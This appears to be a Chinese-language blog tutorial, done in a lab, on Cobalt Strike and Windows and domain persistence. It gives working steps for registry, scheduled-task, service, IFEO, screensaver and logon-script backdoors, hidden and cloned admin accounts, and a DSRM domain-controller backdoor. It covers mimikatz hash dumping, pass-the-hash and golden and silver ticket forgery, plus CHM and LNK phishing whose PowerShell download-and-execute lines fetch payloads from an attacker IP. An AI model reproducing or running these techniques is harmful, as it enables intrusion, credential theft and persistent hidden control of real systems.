Chosen1|安全

Cobalt Strike使用与权限维持

Cobalt Strike使用

一般服务器都都会习惯在linux,客户端在Windows
我们在kali解压缩好,运行./teamserver文件
命令为                       服务器密码
./teamserver 192.168.139.133 123456
                 服务器IP
紧接着我们运行cobaltstrike
执行
./cobaltstrike
填写的信息为,刚才在./teamserver输入的服务器端信息
IP:192.168.139.133
密码:123456
当我们输入完信息点击connect时,会弹出这样一个框,其中的值与我们的运行./teamserver给我们的值类似,如下图。指纹校验的主要作用是防篡改,且每次创建Cobalt Strike团队服务器时生成的指纹都不一样。其次就是起到预防中间人的作用
确认我们的指纹一致即可点击是,进入连接界面

功能使用

1、Cobalt Strike模块
2、view模块
3、attacks模块
4、web drive-by模块
5、reporting模块
6、help模块
Cobalt Strike模块

New Connection # 新建连接,支持连接多个服务器端Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图(三种视图)VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等Close # 退出连接

添加,删除服务器

这是具体的操作流程原理,服务器执行的命令都是攻击客户端指使的

添加监听

点击加号会自动添加服务器的IP地址
这里设置payload的种类
监听完成
生成木马
如果操作系统是64位就选择x64 
选择保存位置
生成完成
放到目标主机上,执行程序
可以从服务器端看见有数据回连了
数据名词解释,last表示我们的payload每隔60s回连一次服务器端的监听(也叫做心跳包)
我们选择interact选择交互模式,因为我们这个payload的回连时间为60s,所以,我们输入指令他60s才会执行一次
所以我们手动在底下的交互式命令行输入 sleep 0,我们执行完成后可以看见,我们的last变成了以ms为单位

Pivot图

Visualization功能分类:
图形化:
图形化展示了 Cobalt Strike 的数据模型中的目标主机。展示了每个目标的账户、主机名、连接进程号、账号权限(有电流表示管理员)、是否能出网(虚线表示能出网、实线跳板通讯)。

Pivot图主要是显示会话与会话之间的详细关系,可以清楚的看到会话之间的父子关系,
红色边框、并且带有闪电表示Beacon运行在管理员权限
防火墙图标代表你 Beacon payload 的流量出口点。
绿色虚线表示使用了 HTTP 或 HTTPS 连接出网。 
黄色虚线表示使用 DNS 协议出网。
如果一个会话用箭头连接着另一个会话表示这两个会话之间是父子关系,子会话通过父会话传递和接受C2指令,父子会话之间可以通过两种方式建立连接,Windows 命名管道或TCP Sockets,如果是橙黄色的箭头那么代表两个会话之间使用Windows命名管道连接(SSH会话也使用橙黄色),如果是青色的箭头那么代表两个会话之间使用TCP socket 通道连接,红色(命名管道)或紫色(TCP)箭头则表示一个Beacon会话连接断开。

目标列表

列出你的目标列表

扫描网段的主机(主机发现)

Dump Hashs

导出hash值
被我选中的部分都是一样的,为lmhash,已经被废弃了
可以在这里查看所有获得的hash

提权模块

会打开一个新的模块

伪造黄金票据

Make Token

派生

我们选择生成一个替身,敏感操作我们选择让他执行,要是被发现也只会是他被杀

生成成功
使用TCP也派生成功

vnc 模块 远程操作目标主机

浏览文件

唯一注意的就是,下载是攒到一起,最后点上面的

进程列表

注意你的权限,不能杀比你权限高的程序
可以选择kill,来杀死进程
需要选择权限比自己低,或者相等为最好
这里选择的payload需要注意,例如第一个http为可以出网,不能出网的payload只可以最为派生在其他主机上

键盘记录

前提条件

1.尽量为administrator权限,system权限有可能失败
2.要选中进程列表中黄色的进程才可以进行键盘记录
去目标机进行实验

屏幕拍照

这是在问你拍一张还是拍多张
这里当我们选择拍多张时,屏幕有变化就会截图拍给我们

获取token

导入插件

导入的需要时.cna文件
如何使用
获取RDP密码
首先使用目标主机远程桌面连接其他任意主机
其次使用,攻击获取远程桌面连接的密码
获取navicat密码
首先本地使用navicat连接数据库
需要注意的是,我们要使用administrator用户,不要使用system用户
成功获取
获取浏览器保存的密码
首先在浏览的保存密码中随便添加一个密码
使用工具直接获取密码
锁屏钓鱼
注意使用administrator权限system权限不可以
页面会比较假,防止你滥用
而且输入错误的密码是进不去的,需要输入正确的密码

注册表后门

一般的启动项路径为
计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

使用cobalt strike

key对应HKEY_CURRENT_USER的缩写,callbackfile这里我指向计算器,实际应用指向我们的后门木马
我们可以看见他其实是执行了,这两句话
重启目标主机,验证,成功

计划任务后门

计划任务
linux:crontab
高版本Windows:schtasks 
低版本Windows:at

使用cobalt strike

登录目标主机查看任务计划程序,有没有我们写入的计划任务

手动创建计划任务

目标主机执行:
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX((new-object net.webclient) .downloadstring('http://192.168.139.133:11111/calc.exe'))'" /sc onlogon /ru System
成功创建,计划任务

系统服务后门

在windows中可以通过win+r,输入service.msc来查看服务,却不可以自己修改

使用cobalt strike

创建服务和启动服务都需要在cobalt strike中执行
注意,尽量使用windows10和windows servers 2012之前的版本
一样也是运行后门木马
创建完成
启动服务,成功运行,因为是system权限的程序,所以是后台运行

logonscript劫持

在注册表中找到路径
HKCU\Environment
名称必须为UserInitMprLogonScript,正常来说也是写木马的路径,这里写一个计算器来验证一下
注销用户重新登陆,成功弹出
一般logonscript劫持优先于常见杀软前执行 帮助绕过对杀软的查杀

IFEO镜像劫持

image file execution options
镜像文件执行选项

负责 将常见的一些程序与对应的想要执行的文件进行关联
打开注册表
找到如下路径
创建并修改,目录及文件不要错误,sethc.exe选择新建项,Debugger选择新建字符串,之后再Debugger中输入我们自己木马的路径
按五次shift进行验证,成功弹窗

隐藏用户

使用net user zzp$ Zz2002510! /add 来创建隐藏用户
使用net user 是看不出来的
后面,我们执行
net localgroup administrators zzp$ /add
来把我们的用户添加到管理员组
注意一:
此时虽然使用命令行无法看到 wxiaoge$ 隐藏用户,但是采用其它方法仍旧可以发现zzp$ 隐藏用户,为了更好的隐藏新建的账户,还需要进行修改注册表文件操作。

注意二:
1、打开windws server 2012的远程桌面功能
2、需将新创建的隐藏账户 zzp$ 添加在允许远程桌面用户的位置,默认只允许 Administrator,不然隐藏账户 zzp$ 无法登录
3、远程登录隐藏账户 zzp$ 时,账户名是zzp$ 密码是Zz2002510!

如何查看隐藏用户

控制面板(控制面板-》用户账户-》管理账户)依然还是可以看到 zzp$ 账户存在
通过管理工具-》计算机管理-》本地用户和组-》用户 依然还是可以看到 zzp$ 账户存在

如何使用隐藏用户远程连接

克隆账户

win+r 输入regedit进入到注册表页面,随后找到"HKEY_LOCAL_MACHINE\SAM\SAM",单击右建权限把名叫"administrator"的用户给予"完全控制以及读取"的权限
随后关掉注册表并使用管理员打开cmd重新在命令行中输入"regedt.exe"后回车重新打开注册表
随后来到注册表编辑器的"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"处,点击zzp$用户,得到在右边显示的键值中的"类型"一项显示为0x3eb,找到箭头所指目录
随后找到administrator所对应的的项为"000001F4",将"000001F4"的F值复制到"000003EB"的F值中,保存
分别将zzp$和"0000003EB"导出到桌面
删除隐藏用户
net user zzp$ /del
点击刚刚导出保存的 zzp和3EB,点击之后会自动导入注册表,下图是导入成功的
各种方法均发现不了,除非对照用户和注册表才可以发现

不能使用远程桌面连接解决办法

首先需要将zzp$添加到可以远程桌面连接用户中
win+R,打开运行窗口,输入regedit,打开注册表编辑器,
找到路径:计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
在System文件夹内创建文件夹项:\CredSSP\Parameters
在Parameters文件夹内,新建 DWORD(32)位值(D),文件名为 AllowEncryptionOracle,值为2
还是有这个报错
我的解决办法,取消仅允许那个选项即可

屏幕保护程序

其实也就是修改注册表在对应的值中加入木马路径,当触发登陆就会自动执行了木马。
打开注册表regedit,屏幕保护程序储存在HKEY_CURRENT_USER\Control Panel\Desktop位置
SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。

在本质上,.scr文件是可执行文件。

ScreenSaveActive表示屏保状态,1为启动,0为关闭。

ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。

ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。
第一步:使用msf生成shell
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.140 LPORT=8686 -f exe >shell.exe
第二步:监听本地端口

进入msf控制台
msfconsole

使用监听模块
use exploit/multi/handler

将模块的监听模式配置为反向windows小马监听
set payload windows/meterpreter/reverse_tcp

设置本机地址(攻击方)
set lhost 192.168.139.140

设置本机端口(攻击方)
set lport 8686

开始监听
run
将shell.exe移动到windows中,改名为desktop.exe
执行:reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\desktop.exe" /f
等待一分钟,不使用鼠标,kali就会有反弹

另一种粘滞键劫持

修改windows/system32底下的sethc文件,复制我们的后门改为sethc.exe覆盖文件,他下次再次调用就会变成calc.exe

DSRM后门

域控制器后门

DSRM(Directory Services Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。
在渗透测试中可以使用DSRM账号对域环境进行持久化操作
修改DSRM密码2012cmd中运行:修改过程中会同时修改administrator密码NTDSUTIL 
打开ntdsutil
Set dsrm password 设置DSRM密码
Reset password on server null 在当前域控制器上恢复DSRM密码
<password> 输入修改后的密码
<password> 确认密码
q 退出DSRM密码设置模式
q 退出ntdsutil

必须要一步一步按着流程走
在域控制器打开mimikatz,输入以下命令:
privilege::debug
lsadump::lsa /patch /name:krbtgt 查看krbtgt的NTLMHash
token::elevate
lsadump::sam 查看并读取SAM文件中本地管理员的NTLMHash
cmd中输入:将DSRM账号和krbtgt的NTLM Hash同步NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt
q
q
同步krbtgt的ntlm hash值
同步到DSRM
lsadump::sam         mimikatz中查看DSRM的NTLM Hash是否同步成功DSRM登录方式:
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号;
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器;
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

使用powershell修改DSRM登录方式为2:New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
其他设备上:
使用dsrm结合mimikatz登录远程域控制器:
privilege::debug
sekurlsa::pth /domain:WIN-DKVHOTP6J0N.zzp.com /user:administrator /ntlm:faec3220102c733d00b0c0cca0286db5
/ntlm:6c10ba3170a033209c86bbaf6818dbe1 已经成功持久弹框cmd中:
dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看c盘内容
net use \\DC\ipc$ ipc连接

钓鱼

使用easy chm生成钓鱼文件
index.html的源码为这个
验证是否可以弹出一个calc,可以

联合cosbalt strike

点击生成,只复制生成的payload中地址部分
最后index.html文件为
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.139.133:1179/a111'))">
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>

上线成功

lnk钓鱼

创建一个名为test.lnk的快捷方式 该快捷方式使用cmd去执行 命令 该命令来自于test.txt文件

为什么arguments后面有那么多空格通过使用多个空格 在目标处将无法查看到隐藏的将要执行的代码
text.txt文件中的内容,后面的网址修改为之前cs生成的网址
执行powershell脚本
首先设置Set-ExecutionPolicy Unrestricted

再执行 powershell .\1.ps1
生成test的快捷方式
双击运行cobalt strike 上线

clone网站钓鱼

输入需要clone的网站
打开 web log
成功钓鱼

Kerberos协议

这一张图可以完美解释Kerberos协议
负责认证用户是否有权限向某项服务发起请求

名词解释

client 客户

domain controller 域控制器

kdc = as + tgs

kdc key distrubiton center 密钥分发中心

as authentication service 认证服务中心

tgs ticket granting service 票据授予服务中心

简单流程

逐一解释图(1)假设域内主机一个用户lcx想访问域内某服务器server中的某服务

圈1 (AS-REQ):client发送用户信息到KDC,向AS请求TGT票据

圈2(AS-REP):KDC收到请求,看看client是否在AD的白名单中,在的话,AS生成随机Session Key,并用用户的NTLM HASH对Session Key 加密得到密文A,再用krbtgt的NTLM HASH 对Session Key、客户端信息Client Info、客户端时间戳timestamp加密得到TGT,并将A 和 TGT一起返回客户端client (这里是TGT)

圈3(TGS-REQ):client收到请求,用自身的NTLM HASH 解密 密文A 得到Session Key,再用Session Key加密Client Info与timestamp 得到密文B , 把密文B 和 TGT一起发给KDC 给TGS

圈4(TGS-REP):TGS 用krbtgt的NTLM HASH 解密TGT ,得到Session Key和timestamp和Client Info。再用这个由TGT解密出来的Session Key解密密文B得到timestamp与Client Info。 两相对比是否一致。如果一致,TGS生成新的随机 Session Key,叫它Session Key2 吧,用它加密timestamp和Client Info得到密文Enc。再用服务端server的NTLM HASH对Session Key2和timestamp和Client Info加密得到ticket,返回给客户端client (这里是ST)

圈5(AP-REQ):客户端client把ticket和Enc向服务端server发送,请求服务

圈6(AP-REP):服务端server用自己的NTLM HASH 对ticket进行解密得到Session Key2和timestamp和Client Info,再用解密出来的Session Key2解密密文Enc,得到timestamp和Client Info,进行信息校验,成功授权访
AS 认证服务 判断你想要登录的用户是否在DC主机的AD中 
如果在 AS 返回客户端TGT 用户凭据

用户携带TGT+ntlm hash加密的字符串 前往TGS
TGA 从AD中取得对应用户得ntlm 值 尝试对加密字符串进行解密 
解密之后得内容 如果通过验证 
此时TGS 会返回client一个ST server ticket 你具体想要访问得服务得票据
用户携带ST再去访问真正想要访问得服务

tgt AS颁发得 client交给TGS ST是由TGS颁发得 client交给真正访问得服务

tgt(黄金票据) st(白银票据)


1、客户端向 密钥分发中心KDC 中的 认证服务器AS进行请求,AS接收到请求后响应客户端并且返回一张票据TGT(此处是伪造黄金票据的位置)

2、客户端拿着认证服务器AS返回的票据TGT再次向密钥分发中心KDC 中的 票据授予服务器TGS请求,TGS收到请求后响应客户端并且返回一张票据ST(此处是伪造白银票据的位置)

3、客户端拿着票据授予服务器TGS返回的票据ST向服务端发起请求,服务端接收到请求后响应客户端,如若成功则完成整套Kerberos认证流程否则中断失败

黄金票据TGT

伪造黄金票据的前提条件

1) 域的sid(输入whoami /all 获取SID S-1-5-21-3159605089-145188794-3567602335-500)(后面的-500不要因为这是成员的sid)
2) 想要伪造的域用户(administrator)
3) krbtgt 的ntlm hash值(在mimkatz中执行: lsadump::dcsync /domain:zzp.com /user:krbtgt)(faec3220102c733d00b0c0cca0286db5)
4) 域的名称(zzp.com)
流程:
取得域成员主机webshell
提权,最少也得本地管理员
尝试使用mimikatz抓hash,运气好有域管hash(没有就得换方法)
利用pth攻击,登录DC(也可以直接开启3389或ssh端口),mimikatz导出krbtgt;

开始伪造

可以在能连上的域的主机执行以下命令,来生成域管的凭据,但是需要的就是之前的三点
klist 代表当前主机上存在哪些凭据
klist purge 删除存在的票据
使用mimikatz生成黄金票据
kerberos::golden /admin:Administrator /domain:zzp.com /sid:S-1-5-21-3159605089-145188794-3567602335 /krbtgt:faec3220102c733d00b0c0cca0286db5 /ticket:Administrator.kiribi(生成凭据的名称可以自定义)
会在当前目录下生成凭据
导入生成的票据
kerberos::ptt Administrator.kiribi
exit退出mimikatz,
然后输入klist 查看缓存的票证
执行:(DC 计算机名,不能跟ip)
首先我执行net time /domain获取DC的名称
\\WIN-DKVHOTP6J0N.zzp.com

dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看C盘内容
net use \\WIN-DKVHOTP6J0N.zzp.com\ipc$ IPC连接
net use  产看IPC连接

白银票据

伪造白银票据的前提条件

1) 域名 (zzp.com)
2) 域的sid (输入whoami /all 获取SID S-1-5-21-3159605089-145188794-3567602335-500)(后面的-500不要因为这是成员的sid)
3) server 的服务器账户的ntlm hash值(bbf12aaadee372d3b389849b5b286fe0 一般主机名后面有$的即为这台电脑的server服务器 需要为DC的hash)
4) 想要伪造的用户名(随便用户名,因为服务器端不做验证)

白银票据偏向某一个具体的服务

开始伪造

在域内其他设备上伪造共享服务cifs:

kerberos::purge 清除票据缓存
kerberos::golden /domain:zzp.com /sid:S-1-5-21-3159605089-145188794-3567602335 /target:DC.zzp.com /service:cifs /rc4:bbf12aaadee372d3b389849b5b286fe0 /user:administrator /ptt

名词解读
1. /domain:域名 
2. /sid:SID值
3. /target: 目标计算机全名 
4. /service: 需要指定相关的服务名,如cifs
5. /rc4: 域控的计算机(DC$)ntlm hash 
6. /user: 要伪造的用户名,任意填写

注意不用导入凭据,自动加载

验证

exit退出mimikatz
执行:(DC 计算机名,不能跟ip)
dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看C盘内容
net use \\DC\ipc$ IPC连接
执行klist,查看票据(一般在当前命令行查看,不在当前目录很大概率是查看不到的)

Views: 42

退出移动版